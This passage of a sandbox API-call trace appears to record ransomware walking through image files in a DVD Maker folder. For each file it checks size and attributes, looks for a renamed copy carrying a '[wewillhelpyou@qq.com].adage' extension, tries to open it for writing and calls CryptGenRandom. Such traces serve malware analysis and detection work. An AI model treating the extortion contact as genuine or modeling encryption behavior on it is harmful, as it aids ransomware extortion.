dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.761] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4570) returned 1 [0058.761] CloseHandle (hObject=0x184) returned 1 [0058.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png")) returned 0x20 [0058.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.761] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.761] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6440) returned 1 [0058.761] CloseHandle (hObject=0x184) returned 1 [0058.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png")) returned 0x20 [0058.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.762] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.762] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2821) returned 1 [0058.762] CloseHandle (hObject=0x184) returned 1 [0058.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png")) returned 0x20 [0058.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.763] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.763] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5620) returned 1 [0058.763] CloseHandle (hObject=0x184) returned 1 [0058.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png")) returned 0x20 [0058.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.763] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.763] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5088) returned 1 [0058.764] CloseHandle (hObject=0x184) returned 1 [0058.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png")) returned 0x20 [0058.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.764] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.764] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3130) returned 1 [0058.764] CloseHandle (hObject=0x184) returned 1 [0058.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0058.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.765] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.765] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5025) returned 1 [0058.765] CloseHandle (hObject=0x184) returned 1 [0058.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png")) returned 0x20 [0058.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.765] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.766] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3118) returned 1 [0058.766] CloseHandle (hObject=0x184) returned 1 [0058.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png")) returned 0x20 [0058.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.766] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.766] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4955) returned 1 [0058.766] CloseHandle (hObject=0x184) returned 1 [0058.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png")) returned 0x20 [0058.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.767] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.767] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3081) returned 1 [0058.767] CloseHandle (hObject=0x184) returned 1 [0058.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png")) returned 0x20 [0058.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.767] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.768] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=24852) returned 1 [0058.768] CloseHandle (hObject=0x184) returned 1 [0058.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png")) returned 0x20 [0058.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.768] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.768] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=195804) returned 1 [0058.768] CloseHandle (hObject=0x184) returned 1 [0058.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png")) returned 0x20 [0058.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.769] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.100] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5072) returned 1 [0059.100] CloseHandle (hObject=0x180) returned 1 [0059.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp")) returned 0x20 [0059.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.101] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0059.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.101] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5072) returned 1 [0059.101] CloseHandle (hObject=0x180) returned 1 [0059.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp")) returned 0x20 [0059.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.101] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0059.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.102] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5072) returned 1 [0059.102] CloseHandle (hObject=0x180) returned 1 [0059.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp")) returned 0x20 [0059.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.102] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0059.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.203] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5072) returned 1 [0059.203] CloseHandle (hObject=0x180) returned 1 [0059.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp")) returned 0x20 [0059.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 